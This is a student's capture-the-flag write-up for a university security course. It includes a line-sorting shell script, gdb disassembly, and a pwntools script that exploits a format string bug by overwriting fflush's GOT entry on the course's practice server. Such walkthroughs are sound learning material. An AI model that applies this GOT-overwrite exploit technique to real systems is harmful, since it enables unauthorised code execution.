Something Awesome Project - plsdonthaq.me
Update: I actually in 3rd (or 1st) place.
This week Iâve completed almost all challenges on plsdonthaq.me hosted by some of the tutors in COMP64[84]1.
Iâm going to walk through some of the interesting challenges (and some stupid ones too).
The file contains some gibberish which from the look of it I think itâs ASCII art.
I immediately notice the digits. My first guess was that they are line numbers. I wrote a simple script to sort the lines:
touch ascii.txt for i in 593 $(seq 0 593) do l=$(grep "::$i::" shuffle.txt) echo "$l" >>ascii.txt done `</pre> Flag: MAKING ASCII ART IS A KEY PART OF THE HACKERS TOOLKIT ## binary - format2 This took me the most time to solve as I was too lazy to download 32-bit Ubuntu on a VM. Eventually, I did and realised how quickly and easier it was to solve the challenge.  The file is 32-bit ELF LSB executable binary:  Note: I used[ gdb-peda](https://github.com/longld/peda). This is obviously a format string vulnerability. So I put it in GDB: <pre>`gdb-peda$ disass main Dump of assembler code for function main: 0x080491b6 <+0>: lea ecx,[esp+0x4] 0x080491ba <+4>: and esp,0xfffffff0 0x080491bd <+7>: push DWORD PTR [ecx-0x4] 0x080491c0 <+10>: push ebp 0x080491c1 <+11>: mov ebp,esp 0x080491c3 <+13>: push ebx 0x080491c4 <+14>: push ecx 0x080491c5 <+15>: call 0x80490f0 <__x86.get_pc_thunk.bx> 0x080491ca <+20>: add ebx,0x2e36 0x080491d0 <+26>: sub esp,0xc 0x080491d3 <+29>: lea eax,[ebx-0x1ff8] 0x080491d9 <+35>: push eax 0x080491da <+36>: call 0x8049070 <puts@plt> 0x080491df <+41>: add esp,0x10 0x080491e2 <+44>: mov eax,DWORD PTR [ebx-0x8] 0x080491e8 <+50>: mov eax,DWORD PTR [eax] 0x080491ea <+52>: sub esp,0xc 0x080491ed <+55>: push eax 0x080491ee <+56>: call 0x8049040 <fflush@plt> 0x080491f3 <+61>: add esp,0x10 0x080491f6 <+64>: call 0x804920a <do_the_format> 0x080491fb <+69>: mov eax,0x0 0x08049200 <+74>: lea esp,[ebp-0x8] 0x08049203 <+77>: pop ecx 0x08049204 <+78>: pop ebx 0x08049205 <+79>: pop ebp 0x08049206 <+80>: lea esp,[ecx-0x4] 0x08049209 <+83>: ret End of assembler dump.
We can see the main function is not doing much besides calling puts (probably to print the banner) and calling the do_the_format function.
Going to the do_the_format function gives:
<pre>`gdb-peda$ disass do_the_format Dump of assembler code for function do_the_format: 0x0804920a <+0>: push ebp 0x0804920b <+1>: mov ebp,esp 0x0804920d <+3>: push ebx 0x0804920e <+4>: sub esp,0x74 0x08049211 <+7>: call 0x80490f0 <__x86.get_pc_thunk.bx> 0x08049216 <+12>: add ebx,0x2dea 0x0804921c <+18>: mov eax,gs:0x14 0x08049222 <+24>: mov DWORD PTR [ebp-0xc],eax 0x08049225 <+27>: xor eax,eax 0x08049227 <+29>: sub esp,0x8 0x0804922a <+32>: lea eax,[ebx-0x2d42] 0x08049230 <+38>: push eax 0x08049231 <+39>: lea eax,[ebx-0x1e60] 0x08049237 <+45>: push eax 0x08049238 <+46>: call 0x8049030 <printf@plt> 0x0804923d <+51>: add esp,0x10 0x08049240 <+54>: mov eax,DWORD PTR [ebx-0x8] 0x08049246 <+60>: mov eax,DWORD PTR [eax] 0x08049248 <+62>: sub esp,0xc 0x0804924b <+65>: push eax 0x0804924c <+66>: call 0x8049040 <fflush@plt> 0x08049251 <+71>: add esp,0x10 0x08049254 <+74>: mov eax,DWORD PTR [ebx-0xc] 0x0804925a <+80>: mov eax,DWORD PTR [eax] 0x0804925c <+82>: sub esp,0x4 0x0804925f <+85>: push eax 0x08049260 <+86>: push 0x63 0x08049262 <+88>: lea eax,[ebp-0x71] 0x08049265 <+91>: push eax 0x08049266 <+92>: call 0x8049050 <fgets@plt> 0x0804926b <+97>: add esp,0x10 0x0804926e <+100>: mov BYTE PTR [ebp-0xd],0x0 0x08049272 <+104>: sub esp,0xc 0x08049275 <+107>: lea eax,[ebp-0x71] 0x08049278 <+110>: push eax 0x08049279 <+111>: call 0x8049030 <printf@plt> 0x0804927e <+116>: add esp,0x10 0x08049281 <+119>: sub esp,0xc 0x08049284 <+122>: lea eax,[ebx-0x1d88] 0x0804928a <+128>: push eax 0x0804928b <+129>: call 0x8049070 <puts@plt> 0x08049290 <+134>: add esp,0x10 0x08049293 <+137>: mov eax,DWORD PTR [ebx-0x8] 0x08049299 <+143>: mov eax,DWORD PTR [eax] 0x0804929b <+145>: sub esp,0xc 0x0804929e <+148>: push eax 0x0804929f <+149>: call 0x8049040 <fflush@plt> 0x080492a4 <+154>: add esp,0x10 0x080492a7 <+157>: nop 0x080492a8 <+158>: mov eax,DWORD PTR [ebp-0xc] 0x080492ab <+161>: xor eax,DWORD PTR gs:0x14 0x080492b2 <+168>: je 0x80492b9 <do_the_format+175> 0x080492b4 <+170>: call 0x8049360 <__stack_chk_fail_local> 0x080492b9 <+175>: mov ebx,DWORD PTR [ebp-0x4] 0x080492bc <+178>: leave 0x080492bd <+179>: ret End of assembler dump.
The entry point of attack is the printf function located at 0x08049279, also right after that is puts at 0x0804928b and fflush at 0x0804929f. I know this based on the analysis of the good old Ghidra:
We can see the printf function is taking the variable that has our input with a buffer of 100 in length.
Another function we can see is print_the_flag, which is located at 0x80492be:
Vulnerable printf at 0x08049279
Buffer size is 100* 2 functions to be a trampoline to jump to print_the_flag
fflush at 0x0804929f* Function to get flag at 0x80492be
Great, now itâs time to exploit.
We first need to find the eip. We can easily do that by doing the good old AAAA%x trick:
It looks like our input is at the 6th address on the stack (A=0x41) but with a padding of some sort. We can verify this by having an extra character at the start:
Note: Iâve also used %6$p to print the value of the 6th address on the stack, which is our input (with a padding of 1 character of course).
Now we need to get the GOT address of either of the two trampoline functions, here I will choose fflush:
0x0804929f <+149&>: call 0x8049040 <fflush@plt>
We can see in the do_the_format function, it is calling fflush atÂ
We can examine this address using gdb:
Sure enough, the address is a jump call to 0x804c010, which is the address of fflush in the GOT.
Now we just need to modify 0x804c010 to be 0x80492be, which is where the print_the_flag function located.
Iâve written a Python script to print out the payload:
import struct from pwn import * FLAG = 0x80492be FFLUSH = 0x804c010 def pad(s): return s+"X"*(100-len(s)) exploit = " " exploit += struct.pack("I", FFLUSH) exploit += struct.pack("I", FFLUSH+2) exploit += "%2043x" exploit += "%7$hn" exploit += "%35514x" exploit += "%6$hn" exploit = pad(exploit) r = remote('plsdonthaq.me', 1002) r.recvuntil(">") r.sendline(exploit) r.interactive()
More info on how this script is written here.
Executing the script gives us a reverse shell:
More writeups can be found on my Github here.
Iâve managed to come 4th (or 3rd):
Iâve solved most of the challenges and found them quite intuitive after the course:
More writeups to come when I have time.